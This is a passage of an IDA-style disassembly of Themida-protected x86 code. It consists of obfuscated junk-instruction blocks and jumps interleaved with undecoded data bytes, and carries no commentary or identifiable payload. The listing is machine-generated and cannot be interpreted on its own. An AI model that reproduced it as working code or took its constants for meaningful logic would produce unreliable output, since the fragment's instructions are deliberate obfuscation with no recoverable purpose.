; ---------------------------------------------------------------------------

loc_55590A:				; CODE XREF: Themida_:00541CDEj
		push	dword ptr [esp+4]
		jmp	loc_54A124
; ---------------------------------------------------------------------------
byte_555913	db 0FFh			; DATA XREF: Themida_:00541A0Co
		dd 589D1C77h, 9C240419h, 0FEC1FEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555921:				; CODE XREF: Themida_:00550CD9j
		xor	edx, 1300110Ah
		mov	ecx, edx
		pop	edx
		mov	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_54596C
; ---------------------------------------------------------------------------
		dd 7D6B1235h, 58C5016Ah, 242C335Fh, 0FF4D17E9h
		db 0FFh
byte_555945	db 66h,	8Bh, 4		; DATA XREF: Themida_:00541918o
		dd 4EC8324h, 0FFF5CFE9h, 88D6B1FFh, 0AAAE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55595A:				; CODE XREF: Themida_:005450B4j
		movzx	ax, byte ptr [eax]
		push	small 176Ah
		mov	[esp], ax
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		db 83h
		dd 742904C4h, 10E90424h, 0BEFFFF6Dh, 2CFD055Fh,	0CFC68146h
		dd 89D8F3FAh, 55055EF7h, 507632Bh, 33480133h, 0C6782605h
		dd 2DF82963h, 63C67826h, 4ABFBA52h, 74E96B76h, 49FFFF72h
		dd 4105E1C1h, 9BD1F181h, 0CA29CF27h, 83240C8Bh,	0EA8104C4h
		dd 0BC2068Dh, 21E2E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5559C6:				; CODE XREF: Themida_:0055459Cj
		xor	ebp, 3F5BEA12h
		push	ebx
		mov	ebx, 6CAA5790h
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5483D0
; ---------------------------------------------------------------------------

loc_5559DC:				; CODE XREF: Themida_:00549B0Cj
		mov	edi, 0F022EBBh
		xor	edi, 1C746395h
		push	edx
		mov	edx, 4C9A34B3h
		jmp	loc_556472
; ---------------------------------------------------------------------------
		dw 0E9C0h
		dd 6FF18003h, 0C830C130h, 1B68C130h, 0E900003Bh, 0FFFEF38Dh
		dd 0C143E3D1h, 0EB8106E3h, 0E699CB3Ch, 0FF37BEE9h
		db 0FFh
byte_555A19	db 66h,	8Bh, 4		; DATA XREF: Themida_:00541A08o
		dd 93DAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555A22:				; CODE XREF: Themida_:005459FFj
		and	ebx, 231738C3h
		shl	ebx, 1
		push	eax
		mov	eax, 718C5C42h
		inc	eax
		and	eax, 21C24EDAh
		jmp	loc_542430
; ---------------------------------------------------------------------------

loc_555A3B:				; CODE XREF: Themida_:0054CBBDj
		shl	esi, 2
		push	ebp
		jmp	loc_545A30
; ---------------------------------------------------------------------------
		dd 0E908EAC1h, 0FFFF55ECh, 4203EE81h, 0EE815C01h, 4E683486h
		dd 2BA525Ah, 0E9000000h, 0FFFF3C5Ch
; ---------------------------------------------------------------------------

loc_555A64:				; CODE XREF: Themida_:00555F1Bj
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_5506DE
; ---------------------------------------------------------------------------
		dd 24048B54h, 4C481h, 4050000h,	5000000h, 4, 5C240487h
		dd 0FEE4A1E9h, 2474FFFFh, 48F5904h, 24248B24h, 240C8966h
		dd 0FEC07EE9h
		db 0FFh
byte_555AA1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00541A4Co
		dd 0E8E95724h, 29FFFFC5h, 0C2015DE8h, 4C28158h,	0E9000000h
		dd 0FFFF7380h, 26E9D828h, 89FFFFACh, 5FE92414h,	56FFFF6Ah
		dd 4BEh, 2783E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555AD6:				; CODE XREF: Themida_:00545407j
		add	esp, 4
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_54C8C4
; ---------------------------------------------------------------------------

loc_555AE6:				; CODE XREF: Themida_:00556B82j
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 1B5B613Bh
		add	edi, 60DE1910h
		sub	edi, ebx
		jmp	loc_5511A7
; ---------------------------------------------------------------------------
byte_555AFF	db 0ADh			; DATA XREF: Themida_:00541958o
		dd 0E904EC83h, 0FFFF73B8h, 0E01DE95Ah, 8B54FFFFh, 0D468240Ch
		dd 89000039h, 0E5E9241Ch, 81FFFF9Dh, 4C6h, 24348700h, 240CFF5Ch
		dd 0BFEDE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_555B32:				; CODE XREF: Themida_:00546E64j
		add	esi, 3DC671Bh
		mov	ebx, [esp]
		add	esp, 4
		shr	esi, 1
		jmp	loc_54B9BA
; ---------------------------------------------------------------------------

loc_555B45:				; CODE XREF: Themida_:0054BB6Fj
		add	ebx, ecx
		pop	ecx
		push	4BD3h
		mov	[esp], ebp
		mov	ebp, 0E117A850h
		xor	ebx, ebp
		pop	ebp
		mov	ebp, ebx
		pop	ebx
		xor	ecx, ebp
		pop	ebp
		jmp	loc_552241
; ---------------------------------------------------------------------------
		db 81h
		dd 0DE5C55C6h, 51575B67h, 384A54B9h, 0DBC1E933h, 8957FFFFh
		dd 4C781E7h, 0E9000000h, 0FFFF66C8h
; ---------------------------------------------------------------------------

loc_555B84:				; CODE XREF: Themida_:0054978Aj
		shl	edi, 8
		neg	edi
		push	ecx
		mov	ecx, 483D261Bh
		push	ebp
		jmp	loc_54DBD2
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D7010000h, 0E789575Ah, 48C7BE56h, 0F7460F12h, 9DE952DEh
		dd 50FFFF8Fh, 0BF69E99Ch, 0C683FFFEh, 24348704h, 0FEE908E9h
		dd 0A4ED81FFh, 10B6D40h, 0A4C581CDh, 0E90B6D40h, 0FFFEE1ACh
		dd 243C8B54h, 8104C483h, 4C7h, 4C78300h, 8B243C87h, 0EC812424h
		dd 4, 0FF241489h, 5A042474h, 0E924048Fh, 0FFFEC8EEh, 2C5BF800h
		dd 28C72CD0h, 0A7D9E9D8h, 1489FFFFh, 0E99C5024h, 0FFFF2755h
		dd 81D2F75Dh, 80018DC2h, 5AD58920h, 51BABD55h, 0C58167E2h
		dd 0BAB4946h, 0FFD042E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555C35:				; CODE XREF: Themida_:00543CD7j
		mov	[esp], esi
		jmp	loc_55477B
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9240C89h, 0FFFF2320h
; ---------------------------------------------------------------------------

loc_555C48:				; CODE XREF: Themida_:0054A6F0j
		add	edi, 74BD1B1Ah
		sub	edi, esi
		push	ebx
		mov	ebx, 7F7F6775h
		push	ecx
		mov	ecx, 0AC24C5Bh
		sub	ebx, ecx
		pop	ecx
		sub	edi, ebx
		pop	ebx
		pop	esi
		add	edi, ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 390633D0h
		or	edx, 7E8D750Eh
		dec	edx
		jmp	loc_552F20
; ---------------------------------------------------------------------------
aMhx_		db '¬hx_',0             ; DATA XREF: Themida_:0054184Co
		dd 241C8900h, 53E967B7h, 5AFFFF2Ch, 52D4F681h, 0F029F114h
		dd 77E9565Eh, 53FFFEF5h, 0FF89A8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555CA5:				; CODE XREF: Themida_:00544038j
		push	eax
		push	2F196323h
		jmp	loc_5525B2
; ---------------------------------------------------------------------------

loc_555CB0:				; CODE XREF: Themida_:0054B1DAj
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_54C798
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C2404FFh, 0FFA513E9h, 51E389FFh,	0FF6010E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555CD9:				; CODE XREF: Themida_:00547DCDj
		mov	edi, 118E4056h
		sub	edi, 0ED925F87h
		xor	ecx, edi
		pop	edi
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_543EFB
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 0F7h
		dd 75E381D3h, 0D15DF66Dh, 0CF1FE9E3h, 0EAC1FFFEh, 58EA8108h
		dd 1006BFCh, 0C6835AD6h, 24348704h, 0B252665Ch,	66D328A2h
		dd 0E924148Bh, 0FFFF027Ah, 0C05AF588h, 3E906E5h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_555D43:				; CODE XREF: Themida_:0054288Fj
		add	esp, 4
		add	esp, 4
		push	esi
		jmp	loc_54CF4B
; ---------------------------------------------------------------------------
		db 4, 0EBh, 51h
		dd 0ED80C7B5h, 0E9DDF6A2h, 0FFFF03E6h, 535AD329h, 2D5B5Fh
		dd 13DAA77h, 770005F8h,	0A2E93DAAh
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555D7B:				; CODE XREF: Themida_:005556D2j
		push	2FB02922h
		mov	ecx, [esp]
		add	esp, 4
		xor	[esp+4], ecx
		mov	ecx, [esp]
		jmp	loc_5469C2
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 55h
		dd 0C34504BDh, 0C1DDF730h, 0F58102E5h, 3CF2EBF4h, 2C8BE801h
		dd 4C48124h, 0E9000000h, 0FFFF0512h, 1C8BDE21h,	4C48124h
		dd 0C1000000h, 0EEC106EEh, 0DC96803h, 4890000h,	0BB5324h
		dd 89000000h, 1EE95BD8h, 5CFFFFA4h, 0BA241489h,	19224C2Ch
		dd 0FFDC9FE9h, 4C481FFh, 83000000h, 24E904C4h
		db 0BDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_555DFB:				; CODE XREF: Themida_:0054BC4Cj
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		jmp	loc_54B269
; ---------------------------------------------------------------------------

loc_555E0F:				; CODE XREF: Themida_:005524CEj
		dec	dh
		push	small 3532h
		mov	[esp], cx
		jmp	loc_54340A
; ---------------------------------------------------------------------------

loc_555E1E:				; CODE XREF: Themida_:0054DD9Dj
		mov	[esp], esi
		jmp	loc_54CE75
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 283D90B9h, 0FB71E966h, 5868FFFFh,	0E9000011h
		dd 0FFFF195Eh
dword_555E40	dd 218E05ADh, 0EC8103FBh, 4, 0BF243C89h, 42BE6085h, 3A86F781h
					; DATA XREF: Themida_:005419C8o
		dd 0D2E91DD2h, 68FFFFECh, 51AFh, 0FF243C89h, 0E9042474h
		dd 0FFFEC20Fh, 33243431h, 34312434h, 4AF7E924h,	0EE81FFFFh
		dd 99187EACh, 0FF06AFE9h, 4B9FFh, 0BB530000h, 57044F6Bh
		dd 815BDE29h, 332A69EEh, 52C6813Eh, 8106DE74h, 0DD7546C6h
		dd 81CE015Ch, 0DD7546EEh, 52EE815Ch, 8106DE74h,	332A69C6h
		dd 6BC6813Eh, 8B57044Fh, 42E9240Ch
		db 0CAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_555ECB:				; CODE XREF: Themida_:00542F0Cj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		not	ebx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		sub	esp, 4
		jmp	loc_542C41
; ---------------------------------------------------------------------------

loc_555EEA:				; CODE XREF: Themida_:005495BCj
		add	edx, ecx
		push	eax
		jmp	loc_550ACD
; ---------------------------------------------------------------------------

loc_555EF2:				; CODE XREF: Themida_:0054A260j
		sub	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 0F4F1FBBh
		shr	edi, 2
		push	eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_54BAFE
; ---------------------------------------------------------------------------

loc_555F11:				; CODE XREF: Themida_:0054D3E2j
		push	esp
		pop	esi
		push	1CA0h
		mov	[esp], ebp
		jmp	loc_555A64
; ---------------------------------------------------------------------------
		dd 0BBC68146h, 168F457h, 0D0F75EF0h, 4E8C140h, 0F708E8C1h
		dd 0C7E956D8h, 8BFFFF24h, 0C481241Ch, 4, 4C481h, 0E1300000h
		dd 8124048Bh, 4C4h, 0DC0400h, 0E9DC2CC8h, 0FFFF2ED3h
; ---------------------------------------------------------------------------

loc_555F60:				; CODE XREF: Themida_:loc_544F3Ej
		mov	eax, ebx
		pop	ebx
		push	3D7Dh
		jmp	loc_555241
; ---------------------------------------------------------------------------
		db 2Dh,	0C1h, 6Dh
		dd 0D80126C5h, 0C56DC105h, 67E95526h, 1FFFF6Bh,	0BAEB81F3h
		dd 8B30DE35h, 0E9562434h, 0FFFF53F8h
; ---------------------------------------------------------------------------

loc_555F90:				; CODE XREF: Themida_:00544BB4j
		push	1A34073Ch
		pop	ecx
		inc	ecx
		add	ecx, 172D419Bh
		jmp	loc_54F928
; ---------------------------------------------------------------------------
		dw 0C330h
		dd 66C0B60Fh, 0E987048Fh, 0FFFEBB6Fh
; ---------------------------------------------------------------------------

loc_555FB0:				; CODE XREF: Themida_:00551BEDj
		add	edi, 2F3420F8h
		add	edi, 2E930FAEh
		pop	eax
		shr	edi, 5
		jmp	loc_548789
; ---------------------------------------------------------------------------

loc_555FC5:				; CODE XREF: Themida_:005560DBj
		pop	eax
		pop	ebx
		mov	eax, [esp]
		jmp	loc_553A5B
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 0FFB6C4E9h, 8BFA01FFh, 0C483243Ch, 881BE904h, 8F5FFFFFh
		dd 895C2404h, 0EC81242Ch, 4, 81242489h,	42404h,	815D0000h
		dd 4C5h, 2B85000h, 1000000h, 24048BC5h,	5E08950h, 4, 8704C083h
		dd 335C2404h, 2C31242Ch, 242C3324h, 6624248Bh, 6866E9F7h
		dd 89666420h, 50662414h, 0BAE1E99Ch
		db 0FEh, 0FFh
word_55603E	dw 53ACh		; DATA XREF: Themida_:005419FCo
		dd 950400B3h, 952CD828h, 83241C8Bh, 0A72C04C4h,	5153AF2Ch
		dd 8AB321B5h, 21E9EB28h, 0B9FFFF64h, 0C3AEF66Ah, 0FFAC91E9h
		dd 76F480FFh, 0F8B1E953h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_556072:				; CODE XREF: Themida_:005492C1j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		db 68h
		dd 5F8h, 0FF8D1FE9h, 241433FFh,	0BFAFE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556096:				; CODE XREF: Themida_:00548C9Aj
		mov	[esp], esp
		jmp	loc_5519E0
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 67A5524Eh, 8105EFC1h, 0CFFF6BC7h, 4BAEE90Ah,	1489FFFFh
		dd 57D1E924h, 0E289FFFFh, 4C281h, 0C2830000h, 24148704h
		dd 41F3815Ch, 895F0244h, 0C7F8E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5560D6:				; CODE XREF: Themida_:0054FBABj
		add	edx, eax
		mov	[edx], bl
		pop	edx
		jmp	loc_555FC5
; ---------------------------------------------------------------------------

loc_5560E0:				; CODE XREF: Themida_:0055302Bj
		sub	ebx, edi
		jmp	loc_5508B9
; ---------------------------------------------------------------------------

loc_5560E7:				; CODE XREF: Themida_:0054F5E3j
		mov	edx, ebp
		pop	ebp
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5458D7
; ---------------------------------------------------------------------------

loc_5560F7:				; CODE XREF: Themida_:005562B6j
		mov	ebp, 57586EA0h
		push	5011h
		mov	[esp], esi
		mov	esi, 6487014Fh
		shl	esi, 3
		neg	esi
		xor	esi, 8C9F9B2Ch
		xor	ebp, esi
		pop	esi
		add	ebx, 198724C7h
		add	ebx, 3F45552Fh
		add	ebx, ebp
		jmp	loc_54F1DA
; ---------------------------------------------------------------------------

loc_55612A:				; CODE XREF: Themida_:00543197j
		mov	edi, 1
		and	eax, edi
		mov	edi, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		jmp	loc_54C97F
; ---------------------------------------------------------------------------
		db 0Dh
		dd 6A4B7BD6h, 600E3E0Dh, 67A22D06h, 0C6311AD0h,	8324048Bh
		dd 814E04C4h, 4C72EFC6h, 0D2C68166h, 563EC523h,	7B243481h
		dd 5A2A5D34h, 347BF281h, 215E2A5Dh, 2434FFD0h, 5A2434FFh
		dd 50E28952h, 4B8h, 80C28100h, 1187758h, 80EA81C2h, 58187758h
		dd 4B951h, 0CA010000h, 24148759h, 732685Ch, 34890000h
		dd 525E5424h, 4E5C03BAh, 0DF25E942h, 0C581FFFFh, 2B729A6h
		dd 717AED81h, 0ED815BD7h, 97DFB511h, 954DFC2Dh,	5E8291Fh
		dd 1F954DFCh, 83242C8Bh, 0FFE904C4h, 1FFFF6Fh, 0E9042474h
		dd 0FFFFEFD3h, 5266DEF6h, 1245CF6h, 0EC815A66h,	2, 241C8966h
		dd 0DE30ABB3h, 0F0305B66h, 5A2434FFh, 8304C483h, 1C8904ECh
		dd 688BB724h, 26E0h, 0B6241489h, 0E941E909h, 0EE28FFFFh
		dd 0C6805966h, 5AF000DCh, 0F12CD800h, 4EC81h, 0C890000h
		dd 665EB524h, 2CDDB252h, 0D51FE99Fh, 0C483FFFEh, 0A8F1E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55625A:				; CODE XREF: Themida_:005502BFj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	66FDh
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_542732
; ---------------------------------------------------------------------------
		db 1
		dd 0B6E95FFAh, 81FFFF80h, 4C3h,	4C38300h, 5C241C87h, 9D9BCBBFh
		dd 0E9D72984h, 0FFFFD97Bh
; ---------------------------------------------------------------------------

loc_5562A8:				; CODE XREF: Themida_:00549447j
		mov	esi, 5D6F44D1h
		push	edi
		jmp	loc_549DC1
; ---------------------------------------------------------------------------

loc_5562B3:				; CODE XREF: Themida_:00551ACBj
		mov	[esp], ebp
		jmp	loc_5560F7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 50662414h, 0B855E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5562CA:				; CODE XREF: Themida_:0054C493j
		push	edi
		push	0CA22263h
		jmp	loc_545404
; ---------------------------------------------------------------------------

loc_5562D5:				; CODE XREF: Themida_:0054E58Fj
		mov	esp, [esp]
		push	eax
		push	7F61h
		mov	[esp], ecx
		push	esi
		jmp	loc_5515C9
; ---------------------------------------------------------------------------
		db 31h
		dd 545659CFh, 89FBE95Eh, 815EFFFFh, 4ECh, 0A03BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5562FE:				; CODE XREF: Themida_:005550DFj
		add	esp, 4
		add	ebx, 0E2F9D62Eh
		add	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_543FCE
; ---------------------------------------------------------------------------
		dd 0E924348Bh, 0FFFF6EDDh, 88E9F8B6h, 50FFFF14h, 0E92434FFh
		dd 0FFFF83F5h, 42474FFh, 5D2434FFh, 4C481h, 48F0000h, 1C895C24h
		dd 355CE924h, 0E5C0FFFFh, 97E58006h, 0FFB8C3E9h, 0B8FFh
		dd 60E90000h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55635B:				; CODE XREF: Themida_:005508C5j
		mov	edx, esi
		pop	esi
		push	esi
		mov	esi, 154715B6h
		jmp	loc_5513E5
; ---------------------------------------------------------------------------

loc_556369:				; CODE XREF: Themida_:00543E6Cj
		mov	eax, 7A527A61h
		sub	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5494E8
; ---------------------------------------------------------------------------

loc_556379:				; CODE XREF: Themida_:0054888Cj
		mov	edx, 2239792Dh
		jmp	loc_550E01
; ---------------------------------------------------------------------------
		db 81h
		dd 0DF254DC3h, 2BC3811Dh, 5E525052h, 0E904EB83h, 0FFFF8C75h
		dd 6D8CBE56h, 0F0010229h, 3F51E95Eh, 0F181FFFFh, 114107ECh
		dd 6111C181h, 53493342h, 37F7B0BBh, 5BD93176h, 62E9CA09h
		dd 21FFFEE5h, 24148BD1h, 4C481h, 0D5E90000h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5563D3:				; CODE XREF: Themida_:0055177Cj
		pop	ebx
		jmp	loc_549CDE
; ---------------------------------------------------------------------------

loc_5563D9:				; CODE XREF: Themida_:0054A5D5j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	353Dh
		mov	[esp], esi
		jmp	loc_548F77
; ---------------------------------------------------------------------------
		dw 0FFBDh
		dd 29FFFFFFh, 60CBE9EEh, 8141FFFFh, 0BB63B2E9h,	59C88925h
		dd 18E9C789h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_556413:				; CODE XREF: Themida_:00544D60j
		pop	esp
		jmp	loc_553DBD
; ---------------------------------------------------------------------------
		db 0B8h, 0C8h, 7Dh
		dd 6C055CF2h, 0E908F62Eh, 0FFFF8B46h, 9F8AEF81h, 1DE979EAh
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556433:				; CODE XREF: Themida_:0054FB1Bj
		mov	esi, 7F6D1DFBh
		add	edi, 375B4204h
		add	edi, esi
		push	edx
		mov	edx, 52971FC2h
		xor	edx, 28E552ABh
		inc	edx
		jmp	loc_551765
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF118Ch, 0E924148Bh, 0FFFF051Ah
; ---------------------------------------------------------------------------

loc_556460:				; CODE XREF: Themida_:005554C7j
		xchg	ebx, [esp]
		pop	esp
		sub	[esp+8], ebx
		pop	ebx
		add	[esp+4], esi
		jmp	loc_547CF2
; ---------------------------------------------------------------------------

loc_556472:				; CODE XREF: Themida_:005559EDj
		and	edx, 18544C3h
		add	edx, 0FBAC43EBh
		sub	edi, edx
		pop	edx
		mov	ebx, edi
		pop	edi
		jmp	loc_5554F8
; ---------------------------------------------------------------------------
		db 68h,	77h, 5Fh
		dd 34890000h, 348B5424h, 4C48124h, 81000000h, 4C6h, 74136800h
		dd 45E90000h, 29FFFFB9h, 0EF015BDDh, 4BD555Dh, 0E9000000h
		dd 0FFFF9FD9h, 0D6C28142h, 81086161h, 0DDED77EAh, 5AD62982h
		dd 55EF189h, 404E7CEFh,	0FC68972Dh, 5C80114h, 14FC6897h
		dd 4E7CEF2Dh, 54E95940h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5564EB:				; CODE XREF: Themida_:0054C86Dj
		sub	edx, 2B9571E2h
		sub	edx, edi
		add	edx, 2B9571E2h
		pop	edi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_54C29B
; ---------------------------------------------------------------------------
dword_556508	dd 2C3468h, 65546800h, 0F1E90000h ; DATA XREF: Themida_:005419B0o
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_556517:				; CODE XREF: Themida_:0054B248j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_542064
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 0C330000h, 240C3124h, 5C240C33h, 2B850h
		dd 0F8E90000h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556553:				; CODE XREF: Themida_:00548857j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	edi, esi
		pop	esi
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_543C4D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 4EC8104h, 89000000h, 0B9512434h,	6DF4472Dh
		dd 0F4472FBEh, 59CE316Dh, 9EE9F101h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556597:				; CODE XREF: Themida_:00553463j
		mov	edx, 4
		add	esi, edx
		jmp	loc_542174
; ---------------------------------------------------------------------------

loc_5565A3:				; CODE XREF: Themida_:0055575Bj
		sub	eax, edi
		push	edi
		mov	edi, 312A5D62h
		add	edi, 1072F20Ah
		add	eax, edi
		jmp	loc_54E501
; ---------------------------------------------------------------------------
		dd 60E9E789h, 5AFFFF88h, 4EF81h, 3C870000h, 3C895C24h
		dd 2404FF24h, 4FDFF75Fh, 4B90BB53h, 0DF01959Ch,	6FED815Bh
		dd 0E9610B5Ah, 0FFFF1348h
; ---------------------------------------------------------------------------

loc_5565E8:				; CODE XREF: Themida_:005450C2j
		add	esi, 6FC01236h
		jmp	loc_5458F5
; ---------------------------------------------------------------------------
		db 81h
		dd 7C103AC5h, 5E5C131h,	7552ED81h, 0E4E9797Ch
		db 0EAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_556607:				; CODE XREF: Themida_:005451D3j
		add	edx, ecx
		pop	ecx
		jmp	loc_543D27
; ---------------------------------------------------------------------------

loc_55660F:				; CODE XREF: Themida_:0054D086j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 2
		jmp	loc_55115E
; ---------------------------------------------------------------------------

loc_55662A:				; CODE XREF: Themida_:00548249j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1F481CC3h
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		push	698C3167h
		jmp	loc_550EBD
; ---------------------------------------------------------------------------
		dd 0FFC0E956h, 804FFFEh, 82CE828h, 56E82859h, 0C681E689h
		dd 4, 2EE81h, 0FF560000h, 0E9042474h, 0FFFF8E5Bh, 0E8005A66h
		dd 27B55153h, 6859EF88h, 1E93h,	0E9240C89h, 0FFFFC6A3h
		dd 0D9086FB3h, 241C8B66h, 3C71E951h, 0D501FFFFh, 4EC815Ah
		dd 89000000h, 0CCBA2414h, 0E91EE82Ch, 0FFFFA459h, 4240483h
		dd 5EEB6859h, 6AE90000h, 89FFFEEDh, 0FF54243Ch,	0E95F2434h
		dd 0FFFF57BFh
; ---------------------------------------------------------------------------

loc_5566DC:				; CODE XREF: Themida_:0054C47Bj
		inc	ebp
		xor	ebp, 296E222Ah
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 26954254h
		xor	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_545B90
; ---------------------------------------------------------------------------
		dw 1CE9h
		dd 1FFFEB4h, 0BF5755F8h, 4010918h, 0C6A50BDh, 0DC9DE942h
		dd 5F54FFFFh, 4C781h, 0C7810000h, 4, 0C48AE957h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_55672A:				; CODE XREF: Themida_:00546C66j
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 7FEF4473h
		push	esi
		not	dword ptr [esp]
		pop	esi
		inc	esi
		add	esi, 7E7E649Ch
		push	eax
		mov	eax, 40604538h
		sub	eax, 47C33CFFh
		shr	eax, 1
		xor	eax, 568FB597h
		jmp	loc_547B90
; ---------------------------------------------------------------------------
		db 29h
		dd 8CC281EAh, 5D27BF42h, 0FF8A82E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556769:				; CODE XREF: Themida_:0054AF86j
		push	64B33CE2h
		jmp	loc_54AD21
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9582434h, 0FFFF2F4Ch
; ---------------------------------------------------------------------------

loc_55677C:				; CODE XREF: Themida_:0054FF9Dj
		push	eax
		mov	eax, 4DE1296h
		jmp	loc_54C118
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 1C875804h, 24248B24h, 1466B951h,	0B9515EB9h
		dd 2E5F5992h, 8244C01h,	24448159h, 5C027C04h, 244C010Bh
		dd 5A18E904h, 8F54FFFFh, 0EC812404h, 4,	0FF643BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5567C5:				; CODE XREF: Themida_:00541BA3j
		pop	ebp
		sub	ecx, eax
		sub	ecx, 1FDF448Eh
		push	esi
		mov	esi, 5D4C2565h
		add	esi, 7474211Bh
		and	esi, 62027BCAh
		xchg	ebp, esi
		inc	ebp
		xchg	ebp, esi
		xor	esi, 100F45FEh
		and	esi, 8231B06h
		add	esi, 0DB6056Ah
		add	ecx, esi
		pop	esi
		sub	ecx, 3A5C1C90h
		jmp	loc_5441EF
; ---------------------------------------------------------------------------
		db 58h,	4Ah, 81h
		dd 431654EAh, 18BE5630h, 31E8A258h, 0D1015EF2h,	240C335Ah
		dd 33240C31h, 665C240Ch, 5324048Bh, 2434FF54h, 0E954525Bh
		dd 0FFFFB21Fh, 2434895Ch, 2434FF54h, 5A54525Eh,	4C281h
		dd 0BF570000h, 4, 0FEB7EAE9h, 4BA52FFh,	1000000h, 34335AD6h
		dd 24343124h, 5C243433h, 38A86856h, 24890000h, 24048124h
		dd 4, 91E9505Eh
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

